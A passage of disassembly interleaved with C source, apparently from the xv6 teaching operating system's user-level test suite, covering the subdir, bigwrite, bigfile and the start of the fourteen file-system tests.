<subdir+0x6cd> if (read(fd, buf, sizeof(buf)) != 2) { 1efd: 83 ec 04 sub $0x4,%esp 1f00: 68 00 20 00 00 push $0x2000 1f05: 68 80 86 00 00 push $0x8680 1f0a: 50 push %eax 1f0b: e8 c9 19 00 00 call 38d9 <read> 1f10: 83 c4 10 add $0x10,%esp 1f13: 83 f8 02 cmp $0x2,%eax 1f16: 0f 85 ae 04 00 00 jne 23ca <subdir+0x6ba> close(fd); 1f1c: 83 ec 0c sub $0xc,%esp 1f1f: 53 push %ebx 1f20: e8 c4 19 00 00 call 38e9 <close> if (open("dd/dd/ff", O_RDONLY) >= 0) { 1f25: 59 pop %ecx 1f26: 5b pop %ebx 1f27: 6a 00 push $0x0 1f29: 68 5e 45 00 00 push $0x455e 1f2e: e8 ce 19 00 00 call 3901 <open> 1f33: 83 c4 10 add $0x10,%esp 1f36: 85 c0 test %eax,%eax 1f38: 0f 89 65 02 00 00 jns 21a3 <subdir+0x493> if (open("dd/ff/ff", O_CREATE | O_RDWR) >= 0) { 1f3e: 83 ec 08 sub $0x8,%esp 1f41: 68 02 02 00 00 push $0x202 1f46: 68 76 46 00 00 push $0x4676 1f4b: e8 b1 19 00 00 call 3901 <open> 1f50: 83 c4 10 add $0x10,%esp 1f53: 85 c0 test %eax,%eax 1f55: 0f 89 35 02 00 00 jns 2190 <subdir+0x480> if (open("dd/xx/ff", O_CREATE | O_RDWR) >= 0) { 1f5b: 83 ec 08 sub $0x8,%esp 1f5e: 68 02 02 00 00 push $0x202 1f63: 68 9b 46 00 00 push $0x469b 1f68: e8 94 19 00 00 call 3901 <open> 1f6d: 83 c4 10 add $0x10,%esp 1f70: 85 c0 test %eax,%eax 1f72: 0f 89 0f 03 00 00 jns 2287 <subdir+0x577> if (open("dd", O_CREATE) >= 0) { 1f78: 83 ec 08 sub $0x8,%esp 1f7b: 68 00 02 00 00 push $0x200 1f80: 68 28 46 00 00 push $0x4628 1f85: e8 77 19 00 00 call 3901 <open> 1f8a: 83 c4 10 add $0x10,%esp 1f8d: 85 c0 test %eax,%eax 1f8f: 0f 89 df 02 00 00 jns 2274 <subdir+0x564> if (open("dd", O_RDWR) >= 0) { 1f95: 83 ec 08 sub $0x8,%esp 1f98: 6a 02 push $0x2 1f9a: 68 28 46 00 00 push $0x4628 1f9f: e8 5d 19 00 00 call 3901 <open> 1fa4: 83 c4 10 add $0x10,%esp 1fa7: 85 c0 test %eax,%eax 1fa9: 0f 89 b2 02 00 00 jns 2261 <subdir+0x551> if (open("dd", O_WRONLY) >= 0) { 1faf: 83 ec 08 sub $0x8,%esp 1fb2: 6a 01 push $0x1 1fb4: 68 28 46 00 00 push $0x4628 1fb9: e8 43 19 00 00 call 3901 <open> 1fbe: 83 c4 10 add $0x10,%esp 1fc1: 85 c0 test %eax,%eax 1fc3: 0f 89 85 02 00 00 jns 224e <subdir+0x53e> if (link("dd/ff/ff", "dd/dd/xx") == 0) { 1fc9: 83 ec 08 sub $0x8,%esp 1fcc: 68 0a 47 00 00 push $0x470a 1fd1: 68 76 46 00 00 push $0x4676 1fd6: e8 46 19 00 00 call 3921 <link> 1fdb: 83 c4 10 add $0x10,%esp 1fde: 85 c0 test %eax,%eax 1fe0: 0f 84 55 02 00 00 je 223b <subdir+0x52b> if (link("dd/xx/ff", "dd/dd/xx") == 0) { 1fe6: 83 ec 08 sub $0x8,%esp 1fe9: 68 0a 47 00 00 push $0x470a 1fee: 68 9b 46 00 00 push $0x469b 1ff3: e8 29 19 00 00 call 3921 <link> 1ff8: 83 c4 10 add $0x10,%esp 1ffb: 85 c0 test %eax,%eax 1ffd: 0f 84 25 02 00 00 je 2228 <subdir+0x518> if (link("dd/ff", "dd/dd/ffff") == 0) { 2003: 83 ec 08 sub $0x8,%esp 2006: 68 c2 45 00 00 push $0x45c2 200b: 68 61 45 00 00 push $0x4561 2010: e8 0c 19 00 00 call 3921 <link> 2015: 83 c4 10 add $0x10,%esp 2018: 85 c0 test %eax,%eax 201a: 0f 84 a9 01 00 00 je 21c9 <subdir+0x4b9> if (mkdir("dd/ff/ff") == 0) { 2020: 83 ec 0c sub $0xc,%esp 2023: 68 76 46 00 00 push $0x4676 2028: e8 fc 18 00 00 call 3929 <mkdir> 202d: 83 c4 10 add $0x10,%esp 2030: 85 c0 test %eax,%eax 2032: 0f 84 7e 01 00 00 je 21b6 <subdir+0x4a6> if (mkdir("dd/xx/ff") == 0) { 2038: 83 ec 0c sub $0xc,%esp 203b: 68 9b 46 00 00 push $0x469b 2040: e8 e4 18 00 00 call 3929 <mkdir> 2045: 83 c4 10 add $0x10,%esp 2048: 85 c0 test %eax,%eax 204a: 0f 84 67 03 00 00 je 23b7 <subdir+0x6a7> if (mkdir("dd/dd/ffff") == 0) { 2050: 83 ec 0c sub $0xc,%esp 2053: 68 c2 45 00 00 push $0x45c2 2058: e8 cc 18 00 00 call 3929 <mkdir> 205d: 83 c4 10 add $0x10,%esp 2060: 85 c0 test %eax,%eax 2062: 0f 84 3c 03 00 00 je 23a4 <subdir+0x694> if (unlink("dd/xx/ff") == 0) { 2068: 83 ec 0c sub $0xc,%esp 206b: 68 9b 46 00 00 push $0x469b 2070: e8 9c 18 00 00 call 3911 <unlink> 2075: 83 c4 10 add $0x10,%esp 2078: 85 c0 test %eax,%eax 207a: 0f 84 11 03 00 00 je 2391 <subdir+0x681> if (unlink("dd/ff/ff") == 0) { 2080: 83 ec 0c sub $0xc,%esp 2083: 68 76 46 00 00 push $0x4676 2088: e8 84 18 00 00 call 3911 <unlink> 208d: 83 c4 10 add $0x10,%esp 2090: 85 c0 test %eax,%eax 2092: 0f 84 e6 02 00 00 je 237e <subdir+0x66e> if (chdir("dd/ff") == 0) { 2098: 83 ec 0c sub $0xc,%esp 209b: 68 61 45 00 00 push $0x4561 20a0: e8 8c 18 00 00 call 3931 <chdir> 20a5: 83 c4 10 add $0x10,%esp 20a8: 85 c0 test %eax,%eax 20aa: 0f 84 bb 02 00 00 je 236b <subdir+0x65b> if (chdir("dd/xx") == 0) { 20b0: 83 ec 0c sub $0xc,%esp 20b3: 68 0d 47 00 00 push $0x470d 20b8: e8 74 18 00 00 call 3931 <chdir> 20bd: 83 c4 10 add $0x10,%esp 20c0: 85 c0 test %eax,%eax 20c2: 0f 84 90 02 00 00 je 2358 <subdir+0x648> if (unlink("dd/dd/ffff") != 0) { 20c8: 83 ec 0c sub $0xc,%esp 20cb: 68 c2 45 00 00 push $0x45c2 20d0: e8 3c 18 00 00 call 3911 <unlink> 20d5: 83 c4 10 add $0x10,%esp 20d8: 85 c0 test %eax,%eax 20da: 0f 85 9d 00 00 00 jne 217d <subdir+0x46d> if (unlink("dd/ff") != 0) { 20e0: 83 ec 0c sub $0xc,%esp 20e3: 68 61 45 00 00 push $0x4561 20e8: e8 24 18 00 00 call 3911 <unlink> 20ed: 83 c4 10 add $0x10,%esp 20f0: 85 c0 test %eax,%eax 20f2: 0f 85 4d 02 00 00 jne 2345 <subdir+0x635> if (unlink("dd") == 0) { 20f8: 83 ec 0c sub $0xc,%esp 20fb: 68 28 46 00 00 push $0x4628 2100: e8 0c 18 00 00 call 3911 <unlink> 2105: 83 c4 10 add $0x10,%esp 2108: 85 c0 test %eax,%eax 210a: 0f 84 22 02 00 00 je 2332 <subdir+0x622> if (unlink("dd/dd") < 0) { 2110: 83 ec 0c sub $0xc,%esp 2113: 68 3d 45 00 00 push $0x453d 2118: e8 f4 17 00 00 call 3911 <unlink> 211d: 83 c4 10 add $0x10,%esp 2120: 85 c0 test %eax,%eax 2122: 0f 88 f7 01 00 00 js 231f <subdir+0x60f> if (unlink("dd") < 0) { 2128: 83 ec 0c sub $0xc,%esp 212b: 68 28 46 00 00 push $0x4628 2130: e8 dc 17 00 00 call 3911 <unlink> 2135: 83 c4 10 add $0x10,%esp 2138: 85 c0 test %eax,%eax 213a: 0f 88 cc 01 00 00 js 230c <subdir+0x5fc> printf(1, "subdir ok\n"); 2140: 83 ec 08 sub $0x8,%esp 2143: 68 0a 48 00 00 push $0x480a 2148: 6a 01 push $0x1 214a: e8 11 19 00 00 call 3a60 <printf> } 214f: 83 c4 10 add $0x10,%esp 2152: 8b 5d fc mov -0x4(%ebp),%ebx 2155: c9 leave 2156: c3 ret printf(1, "dd/dd/../ff wrong content\n"); 2157: 50 push %eax 2158: 50 push %eax 2159: 68 a7 45 00 00 push $0x45a7 215e: 6a 01 push $0x1 2160: e8 fb 18 00 00 call 3a60 <printf> exit(); 2165: e8 57 17 00 00 call 38c1 <exit> printf(1, "chdir dd/../../dd failed\n"); 216a: 50 push %eax 216b: 50 push %eax 216c: 68 02 46 00 00 push $0x4602 2171: 6a 01 push $0x1 2173: e8 e8 18 00 00 call 3a60 <printf> exit(); 2178: e8 44 17 00 00 call 38c1 <exit> printf(1, "unlink dd/dd/ff failed\n"); 217d: 52 push %edx 217e: 52 push %edx 217f: 68 cd 45 00 00 push $0x45cd 2184: 6a 01 push $0x1 2186: e8 d5 18 00 00 call 3a60 <printf> exit(); 218b: e8 31 17 00 00 call 38c1 <exit> printf(1, "create dd/ff/ff succeeded!\n"); 2190: 50 push %eax 2191: 50 push %eax 2192: 68 7f 46 00 00 push $0x467f 2197: 6a 01 push $0x1 2199: e8 c2 18 00 00 call 3a60 <printf> exit(); 219e: e8 1e 17 00 00 call 38c1 <exit> printf(1, "open (unlinked) dd/dd/ff succeeded!\n"); 21a3: 52 push %edx 21a4: 52 push %edx 21a5: 68 64 50 00 00 push $0x5064 21aa: 6a 01 push $0x1 21ac: e8 af 18 00 00 call 3a60 <printf> exit(); 21b1: e8 0b 17 00 00 call 38c1 <exit> printf(1, "mkdir dd/ff/ff succeeded!\n"); 21b6: 52 push %edx 21b7: 52 push %edx 21b8: 68 13 47 00 00 push $0x4713 21bd: 6a 01 push $0x1 21bf: e8 9c 18 00 00 call 3a60 <printf> exit(); 21c4: e8 f8 16 00 00 call 38c1 <exit> printf(1, "link dd/ff dd/dd/ffff succeeded!\n"); 21c9: 51 push %ecx 21ca: 51 push %ecx 21cb: 68 d4 50 00 00 push $0x50d4 21d0: 6a 01 push $0x1 21d2: e8 89 18 00 00 call 3a60 <printf> exit(); 21d7: e8 e5 16 00 00 call 38c1 <exit> printf(1, "open dd/dd/../ff failed\n"); 21dc: 50 push %eax 21dd: 50 push %eax 21de: 68 8e 45 00 00 push $0x458e 21e3: 6a 01 push $0x1 21e5: e8 76 18 00 00 call 3a60 <printf> exit(); 21ea: e8 d2 16 00 00 call 38c1 <exit> printf(1, "create dd/dd/ff failed\n"); 21ef: 51 push %ecx 21f0: 51 push %ecx 21f1: 68 67 45 00 00 push $0x4567 21f6: 6a 01 push $0x1 21f8: e8 63 18 00 00 call 3a60 <printf> exit(); 21fd: e8 bf 16 00 00 call 38c1 <exit> printf(1, "chdir ./.. failed\n"); 2202: 50 push %eax 2203: 50 push %eax 2204: 68 30 46 00 00 push $0x4630 2209: 6a 01 push $0x1 220b: e8 50 18 00 00 call 3a60 <printf> exit(); 2210: e8 ac 16 00 00 call 38c1 <exit> printf(1, "link dd/dd/ff dd/dd/ffff failed\n"); 2215: 51 push %ecx 2216: 51 push %ecx 2217: 68 1c 50 00 00 push $0x501c 221c: 6a 01 push $0x1 221e: e8 3d 18 00 00 call 3a60 <printf> exit(); 2223: e8 99 16 00 00 call 38c1 <exit> printf(1, "link dd/xx/ff dd/dd/xx succeeded!\n"); 2228: 53 push %ebx 2229: 53 push %ebx 222a: 68 b0 50 00 00 push $0x50b0 222f: 6a 01 push $0x1 2231: e8 2a 18 00 00 call 3a60 <printf> exit(); 2236: e8 86 16 00 00 call 38c1 <exit> printf(1, "link dd/ff/ff dd/dd/xx succeeded!\n"); 223b: 50 push %eax 223c: 50 push %eax 223d: 68 8c 50 00 00 push $0x508c 2242: 6a 01 push $0x1 2244: e8 17 18 00 00 call 3a60 <printf> exit(); 2249: e8 73 16 00 00 call 38c1 <exit> printf(1, "open dd wronly succeeded!\n"); 224e: 50 push %eax 224f: 50 push %eax 2250: 68 ef 46 00 00 push $0x46ef 2255: 6a 01 push $0x1 2257: e8 04 18 00 00 call 3a60 <printf> exit(); 225c: e8 60 16 00 00 call 38c1 <exit> printf(1, "open dd rdwr succeeded!\n"); 2261: 50 push %eax 2262: 50 push %eax 2263: 68 d6 46 00 00 push $0x46d6 2268: 6a 01 push $0x1 226a: e8 f1 17 00 00 call 3a60 <printf> exit(); 226f: e8 4d 16 00 00 call 38c1 <exit> printf(1, "create dd succeeded!\n"); 2274: 50 push %eax 2275: 50 push %eax 2276: 68 c0 46 00 00 push $0x46c0 227b: 6a 01 push $0x1 227d: e8 de 17 00 00 call 3a60 <printf> exit(); 2282: e8 3a 16 00 00 call 38c1 <exit> printf(1, "create dd/xx/ff succeeded!\n"); 2287: 50 push %eax 2288: 50 push %eax 2289: 68 a4 46 00 00 push $0x46a4 228e: 6a 01 push $0x1 2290: e8 cb 17 00 00 call 3a60 <printf> exit(); 2295: e8 27 16 00 00 call 38c1 <exit> printf(1, "chdir dd failed\n"); 229a: 50 push %eax 229b: 50 push %eax 229c: 68 e5 45 00 00 push $0x45e5 22a1: 6a 01 push $0x1 22a3: e8 b8 17 00 00 call 3a60 <printf> exit(); 22a8: e8 14 16 00 00 call 38c1 <exit> printf(1, "open (unlinked) dd/dd/ff succeeded\n"); 22ad: 50 push %eax 22ae: 50 push %eax 22af: 68 40 50 00 00 push $0x5040 22b4: 6a 01 push $0x1 22b6: e8 a5 17 00 00 call 3a60 <printf> exit(); 22bb: e8 01 16 00 00 call 38c1 <exit> printf(1, "subdir mkdir dd/dd failed\n"); 22c0: 53 push %ebx 22c1: 53 push %ebx 22c2: 68 43 45 00 00 push $0x4543 22c7: 6a 01 push $0x1 22c9: e8 92 17 00 00 call 3a60 <printf> exit(); 22ce: e8 ee 15 00 00 call 38c1 <exit> printf(1, "unlink dd (non-empty dir) succeeded!\n"); 22d3: 50 push %eax 22d4: 50 push %eax 22d5: 68 f4 4f 00 00 push $0x4ff4 22da: 6a 01 push $0x1 22dc: e8 7f 17 00 00 call 3a60 <printf> exit(); 22e1: e8 db 15 00 00 call 38c1 <exit> printf(1, "create dd/ff failed\n"); 22e6: 50 push %eax 22e7: 50 push %eax 22e8: 68 27 45 00 00 push $0x4527 22ed: 6a 01 push $0x1 22ef: e8 6c 17 00 00 call 3a60 <printf> exit(); 22f4: e8 c8 15 00 00 call 38c1 <exit> printf(1, "subdir mkdir dd failed\n"); 22f9: 50 push %eax 22fa: 50 push %eax 22fb: 68 0f 45 00 00 push $0x450f 2300: 6a 01 push $0x1 2302: e8 59 17 00 00 call 3a60 <printf> exit(); 2307: e8 b5 15 00 00 call 38c1 <exit> printf(1, "unlink dd failed\n"); 230c: 50 push %eax 230d: 50 push %eax 230e: 68 f8 47 00 00 push $0x47f8 2313: 6a 01 push $0x1 2315: e8 46 17 00 00 call 3a60 <printf> exit(); 231a: e8 a2 15 00 00 call 38c1 <exit> printf(1, "unlink dd/dd failed\n"); 231f: 52 push %edx 2320: 52 push %edx 2321: 68 e3 47 00 00 push $0x47e3 2326: 6a 01 push $0x1 2328: e8 33 17 00 00 call 3a60 <printf> exit(); 232d: e8 8f 15 00 00 call 38c1 <exit> printf(1, "unlink non-empty dd succeeded!\n"); 2332: 51 push %ecx 2333: 51 push %ecx 2334: 68 f8 50 00 00 push $0x50f8 2339: 6a 01 push $0x1 233b: e8 20 17 00 00 call 3a60 <printf> exit(); 2340: e8 7c 15 00 00 call 38c1 <exit> printf(1, "unlink dd/ff failed\n"); 2345: 53 push %ebx 2346: 53 push %ebx 2347: 68 ce 47 00 00 push $0x47ce 234c: 6a 01 push $0x1 234e: e8 0d 17 00 00 call 3a60 <printf> exit(); 2353: e8 69 15 00 00 call 38c1 <exit> printf(1, "chdir dd/xx succeeded!\n"); 2358: 50 push %eax 2359: 50 push %eax 235a: 68 b6 47 00 00 push $0x47b6 235f: 6a 01 push $0x1 2361: e8 fa 16 00 00 call 3a60 <printf> exit(); 2366: e8 56 15 00 00 call 38c1 <exit> printf(1, "chdir dd/ff succeeded!\n"); 236b: 50 push %eax 236c: 50 push %eax 236d: 68 9e 47 00 00 push $0x479e 2372: 6a 01 push $0x1 2374: e8 e7 16 00 00 call 3a60 <printf> exit(); 2379: e8 43 15 00 00 call 38c1 <exit> printf(1, "unlink dd/ff/ff succeeded!\n"); 237e: 50 push %eax 237f: 50 push %eax 2380: 68 82 47 00 00 push $0x4782 2385: 6a 01 push $0x1 2387: e8 d4 16 00 00 call 3a60 <printf> exit(); 238c: e8 30 15 00 00 call 38c1 <exit> printf(1, "unlink dd/xx/ff succeeded!\n"); 2391: 50 push %eax 2392: 50 push %eax 2393: 68 66 47 00 00 push $0x4766 2398: 6a 01 push $0x1 239a: e8 c1 16 00 00 call 3a60 <printf> exit(); 239f: e8 1d 15 00 00 call 38c1 <exit> printf(1, "mkdir dd/dd/ffff succeeded!\n"); 23a4: 50 push %eax 23a5: 50 push %eax 23a6: 68 49 47 00 00 push $0x4749 23ab: 6a 01 push $0x1 23ad: e8 ae 16 00 00 call 3a60 <printf> exit(); 23b2: e8 0a 15 00 00 call 38c1 <exit> printf(1, "mkdir dd/xx/ff succeeded!\n"); 23b7: 50 push %eax 23b8: 50 push %eax 23b9: 68 2e 47 00 00 push $0x472e 23be: 6a 01 push $0x1 23c0: e8 9b 16 00 00 call 3a60 <printf> exit(); 23c5: e8 f7 14 00 00 call 38c1 <exit> printf(1, "read dd/dd/ffff wrong len\n"); 23ca: 50 push %eax 23cb: 50 push %eax 23cc: 68 5b 46 00 00 push $0x465b 23d1: 6a 01 push $0x1 23d3: e8 88 16 00 00 call 3a60 <printf> exit(); 23d8: e8 e4 14 00 00 call 38c1 <exit> printf(1, "open dd/dd/ffff failed\n"); 23dd: 50 push %eax 23de: 50 push %eax 23df: 68 43 46 00 00 push $0x4643 23e4: 6a 01 push $0x1 23e6: e8 75 16 00 00 call 3a60 <printf> exit(); 23eb: e8 d1 14 00 00 call 38c1 <exit> 000023f0 <bigwrite>: { 23f0: 55 push %ebp 23f1: 89 e5 mov %esp,%ebp 23f3: 56 push %esi 23f4: 53 push %ebx for (sz = 499; sz < 12 * 512; sz += 471) { 23f5: bb f3 01 00 00 mov $0x1f3,%ebx printf(1, "bigwrite test\n"); 23fa: 83 ec 08 sub $0x8,%esp 23fd: 68 15 48 00 00 push $0x4815 2402: 6a 01 push $0x1 2404: e8 57 16 00 00 call 3a60 <printf> unlink("bigwrite"); 2409: c7 04 24 24 48 00 00 movl $0x4824,(%esp) 2410: e8 fc 14 00 00 call 3911 <unlink> 2415: 83 c4 10 add $0x10,%esp 2418: 90 nop 2419: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi fd = open("bigwrite", O_CREATE | O_RDWR); 2420: 83 ec 08 sub $0x8,%esp 2423: 68 02 02 00 00 push $0x202 2428: 68 24 48 00 00 push $0x4824 242d: e8 cf 14 00 00 call 3901 <open> if (fd < 0) { 2432: 83 c4 10 add $0x10,%esp 2435: 85 c0 test %eax,%eax fd = open("bigwrite", O_CREATE | O_RDWR); 2437: 89 c6 mov %eax,%esi if (fd < 0) { 2439: 78 7e js 24b9 <bigwrite+0xc9> int cc = write(fd, buf, sz); 243b: 83 ec 04 sub $0x4,%esp 243e: 53 push %ebx 243f: 68 80 86 00 00 push $0x8680 2444: 50 push %eax 2445: e8 97 14 00 00 call 38e1 <write> if (cc != sz) { 244a: 83 c4 10 add $0x10,%esp 244d: 39 d8 cmp %ebx,%eax 244f: 75 55 jne 24a6 <bigwrite+0xb6> int cc = write(fd, buf, sz); 2451: 83 ec 04 sub $0x4,%esp 2454: 53 push %ebx 2455: 68 80 86 00 00 push $0x8680 245a: 56 push %esi 245b: e8 81 14 00 00 call 38e1 <write> if (cc != sz) { 2460: 83 c4 10 add $0x10,%esp 2463: 39 d8 cmp %ebx,%eax 2465: 75 3f jne 24a6 <bigwrite+0xb6> close(fd); 2467: 83 ec 0c sub $0xc,%esp for (sz = 499; sz < 12 * 512; sz += 471) { 246a: 81 c3 d7 01 00 00 add $0x1d7,%ebx close(fd); 2470: 56 push %esi 2471: e8 73 14 00 00 call 38e9 <close> unlink("bigwrite"); 2476: c7 04 24 24 48 00 00 movl $0x4824,(%esp) 247d: e8 8f 14 00 00 call 3911 <unlink> for (sz = 499; sz < 12 * 512; sz += 471) { 2482: 83 c4 10 add $0x10,%esp 2485: 81 fb 07 18 00 00 cmp $0x1807,%ebx 248b: 75 93 jne 2420 <bigwrite+0x30> printf(1, "bigwrite ok\n"); 248d: 83 ec 08 sub $0x8,%esp 2490: 68 57 48 00 00 push $0x4857 2495: 6a 01 push $0x1 2497: e8 c4 15 00 00 call 3a60 <printf> } 249c: 83 c4 10 add $0x10,%esp 249f: 8d 65 f8 lea -0x8(%ebp),%esp 24a2: 5b pop %ebx 24a3: 5e pop %esi 24a4: 5d pop %ebp 24a5: c3 ret printf(1, "write(%d) ret %d\n", sz, cc); 24a6: 50 push %eax 24a7: 53 push %ebx 24a8: 68 45 48 00 00 push $0x4845 24ad: 6a 01 push $0x1 24af: e8 ac 15 00 00 call 3a60 <printf> exit(); 24b4: e8 08 14 00 00 call 38c1 <exit> printf(1, "cannot create bigwrite\n"); 24b9: 83 ec 08 sub $0x8,%esp 24bc: 68 2d 48 00 00 push $0x482d 24c1: 6a 01 push $0x1 24c3: e8 98 15 00 00 call 3a60 <printf> exit(); 24c8: e8 f4 13 00 00 call 38c1 <exit> 24cd: 8d 76 00 lea 0x0(%esi),%esi 000024d0 <bigfile>: { 24d0: 55 push %ebp 24d1: 89 e5 mov %esp,%ebp 24d3: 57 push %edi 24d4: 56 push %esi 24d5: 53 push %ebx 24d6: 83 ec 14 sub $0x14,%esp printf(1, "bigfile test\n"); 24d9: 68 64 48 00 00 push $0x4864 24de: 6a 01 push $0x1 24e0: e8 7b 15 00 00 call 3a60 <printf> unlink("bigfile"); 24e5: c7 04 24 80 48 00 00 movl $0x4880,(%esp) 24ec: e8 20 14 00 00 call 3911 <unlink> fd = open("bigfile", O_CREATE | O_RDWR); 24f1: 58 pop %eax 24f2: 5a pop %edx 24f3: 68 02 02 00 00 push $0x202 24f8: 68 80 48 00 00 push $0x4880 24fd: e8 ff 13 00 00 call 3901 <open> if (fd < 0) { 2502: 83 c4 10 add $0x10,%esp 2505: 85 c0 test %eax,%eax 2507: 0f 88 5e 01 00 00 js 266b <bigfile+0x19b> 250d: 89 c6 mov %eax,%esi for (i = 0; i < 20; i++) { 250f: 31 db xor %ebx,%ebx 2511: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi memset(buf, i, 600); 2518: 83 ec 04 sub $0x4,%esp 251b: 68 58 02 00 00 push $0x258 2520: 53 push %ebx 2521: 68 80 86 00 00 push $0x8680 2526: e8 d5 11 00 00 call 3700 <memset> if (write(fd, buf, 600) != 600) { 252b: 83 c4 0c add $0xc,%esp 252e: 68 58 02 00 00 push $0x258 2533: 68 80 86 00 00 push $0x8680 2538: 56 push %esi 2539: e8 a3 13 00 00 call 38e1 <write> 253e: 83 c4 10 add $0x10,%esp 2541: 3d 58 02 00 00 cmp $0x258,%eax 2546: 0f 85 f8 00 00 00 jne 2644 <bigfile+0x174> for (i = 0; i < 20; i++) { 254c: 83 c3 01 add $0x1,%ebx 254f: 83 fb 14 cmp $0x14,%ebx 2552: 75 c4 jne 2518 <bigfile+0x48> close(fd); 2554: 83 ec 0c sub $0xc,%esp 2557: 56 push %esi 2558: e8 8c 13 00 00 call 38e9 <close> fd = open("bigfile", 0); 255d: 5e pop %esi 255e: 5f pop %edi 255f: 6a 00 push $0x0 2561: 68 80 48 00 00 push $0x4880 2566: e8 96 13 00 00 call 3901 <open> if (fd < 0) { 256b: 83 c4 10 add $0x10,%esp 256e: 85 c0 test %eax,%eax fd = open("bigfile", 0); 2570: 89 c6 mov %eax,%esi if (fd < 0) { 2572: 0f 88 e0 00 00 00 js 2658 <bigfile+0x188> total = 0; 2578: 31 db xor %ebx,%ebx for (i = 0;; i++) { 257a: 31 ff xor %edi,%edi 257c: eb 30 jmp 25ae <bigfile+0xde> 257e: 66 90 xchg %ax,%ax if (cc != 300) { 2580: 3d 2c 01 00 00 cmp $0x12c,%eax 2585: 0f 85 91 00 00 00 jne 261c <bigfile+0x14c> if (buf[0] != i / 2 || buf[299] != i / 2) { 258b: 0f be 05 80 86 00 00 movsbl 0x8680,%eax 2592: 89 fa mov %edi,%edx 2594: d1 fa sar %edx 2596: 39 d0 cmp %edx,%eax 2598: 75 6e jne 2608 <bigfile+0x138> 259a: 0f be 15 ab 87 00 00 movsbl 0x87ab,%edx 25a1: 39 d0 cmp %edx,%eax 25a3: 75 63 jne 2608 <bigfile+0x138> total += cc; 25a5: 81 c3 2c 01 00 00 add $0x12c,%ebx for (i = 0;; i++) { 25ab: 83 c7 01 add $0x1,%edi cc = read(fd, buf, 300); 25ae: 83 ec 04 sub $0x4,%esp 25b1: 68 2c 01 00 00 push $0x12c 25b6: 68 80 86 00 00 push $0x8680 25bb: 56 push %esi 25bc: e8 18 13 00 00 call 38d9 <read> if (cc < 0) { 25c1: 83 c4 10 add $0x10,%esp 25c4: 85 c0 test %eax,%eax 25c6: 78 68 js 2630 <bigfile+0x160> if (cc == 0) break; 25c8: 75 b6 jne 2580 <bigfile+0xb0> close(fd); 25ca: 83 ec 0c sub $0xc,%esp 25cd: 56 push %esi 25ce: e8 16 13 00 00 call 38e9 <close> if (total != 20 * 600) { 25d3: 83 c4 10 add $0x10,%esp 25d6: 81 fb e0 2e 00 00 cmp $0x2ee0,%ebx 25dc: 0f 85 9c 00 00 00 jne 267e <bigfile+0x1ae> unlink("bigfile"); 25e2: 83 ec 0c sub $0xc,%esp 25e5: 68 80 48 00 00 push $0x4880 25ea: e8 22 13 00 00 call 3911 <unlink> printf(1, "bigfile test ok\n"); 25ef: 58 pop %eax 25f0: 5a pop %edx 25f1: 68 0f 49 00 00 push $0x490f 25f6: 6a 01 push $0x1 25f8: e8 63 14 00 00 call 3a60 <printf> } 25fd: 83 c4 10 add $0x10,%esp 2600: 8d 65 f4 lea -0xc(%ebp),%esp 2603: 5b pop %ebx 2604: 5e pop %esi 2605: 5f pop %edi 2606: 5d pop %ebp 2607: c3 ret printf(1, "read bigfile wrong data\n"); 2608: 83 ec 08 sub $0x8,%esp 260b: 68 dc 48 00 00 push $0x48dc 2610: 6a 01 push $0x1 2612: e8 49 14 00 00 call 3a60 <printf> exit(); 2617: e8 a5 12 00 00 call 38c1 <exit> printf(1, "short read bigfile\n"); 261c: 83 ec 08 sub $0x8,%esp 261f: 68 c8 48 00 00 push $0x48c8 2624: 6a 01 push $0x1 2626: e8 35 14 00 00 call 3a60 <printf> exit(); 262b: e8 91 12 00 00 call 38c1 <exit> printf(1, "read bigfile failed\n"); 2630: 83 ec 08 sub $0x8,%esp 2633: 68 b3 48 00 00 push $0x48b3 2638: 6a 01 push $0x1 263a: e8 21 14 00 00 call 3a60 <printf> exit(); 263f: e8 7d 12 00 00 call 38c1 <exit> printf(1, "write bigfile failed\n"); 2644: 83 ec 08 sub $0x8,%esp 2647: 68 88 48 00 00 push $0x4888 264c: 6a 01 push $0x1 264e: e8 0d 14 00 00 call 3a60 <printf> exit(); 2653: e8 69 12 00 00 call 38c1 <exit> printf(1, "cannot open bigfile\n"); 2658: 53 push %ebx 2659: 53 push %ebx 265a: 68 9e 48 00 00 push $0x489e 265f: 6a 01 push $0x1 2661: e8 fa 13 00 00 call 3a60 <printf> exit(); 2666: e8 56 12 00 00 call 38c1 <exit> printf(1, "cannot create bigfile"); 266b: 50 push %eax 266c: 50 push %eax 266d: 68 72 48 00 00 push $0x4872 2672: 6a 01 push $0x1 2674: e8 e7 13 00 00 call 3a60 <printf> exit(); 2679: e8 43 12 00 00 call 38c1 <exit> printf(1, "read bigfile wrong total\n"); 267e: 51 push %ecx 267f: 51 push %ecx 2680: 68 f5 48 00 00 push $0x48f5 2685: 6a 01 push $0x1 2687: e8 d4 13 00 00 call 3a60 <printf> exit(); 268c: e8 30 12 00 00 call 38c1 <exit> 2691: eb 0d jmp 26a0 <fourteen> 2693: 90 nop 2694: 90 nop 2695: 90 nop 2696: 90 nop 2697: 90 nop 2698: 90 nop 2699: 90 nop 269a: 90 nop 269b: 90 nop 269c: 90 nop 269d: 90 nop 269e: 90 nop 269f: 90 nop 000026a0 <fourteen>: { 26a0: 55 push %ebp 26a1: 89 e5 mov %esp,%ebp 26a3: 83 ec 10 sub $0x10,%esp printf(1, "fourteen test\n"); 26a6: 68 20 49 00 00 push $0x4920 26ab: 6a 01 push $0x1 26ad: e8 ae 13 00 00 call 3a60 <printf> if (mkdir("12345678901234") != 0) { 26b2: c7 04 24 5b 49 00 00 movl $0x495b,(%esp) 26b9: e8 6b 12 00 00 call 3929 <mkdir> 26be: 83 c4 10 add $0x10,%esp 26c1: 85 c0 test %eax,%eax 26c3: 0f 85 97 00 00 00 jne 2760 <fourteen+0xc0> if (mkdir("12345678901234/123456789012345") != 0) { 26c9: 83 ec 0c sub $0xc,%esp 26cc: 68 18 51 00 00 push $0x5118 26d1: e8 53 12 00 00 call 3929 <mkdir> 26d6: 83 c4 10 add $0x10,%esp 26d9: 85 c0 test %eax,%eax 26db: 0f 85 de 00 00 00 jne 27bf <fourteen+0x11f> fd = open("123456789012345/123456789012345/123456789012345", O_CREATE); 26e1: 83 ec 08 sub $0x8,%esp 26e4: 68 00 02 00 00 push $0x200 26e9: 68 68 51 00 00 push $0x5168 26ee: e8 0e 12 00 00 call 3901 <open> if (fd < 0) { 26f3: 83 c4 10 add $0x10,%esp 26f6: 85 c0 test %eax,%eax 26f8: 0f 88 ae 00 00 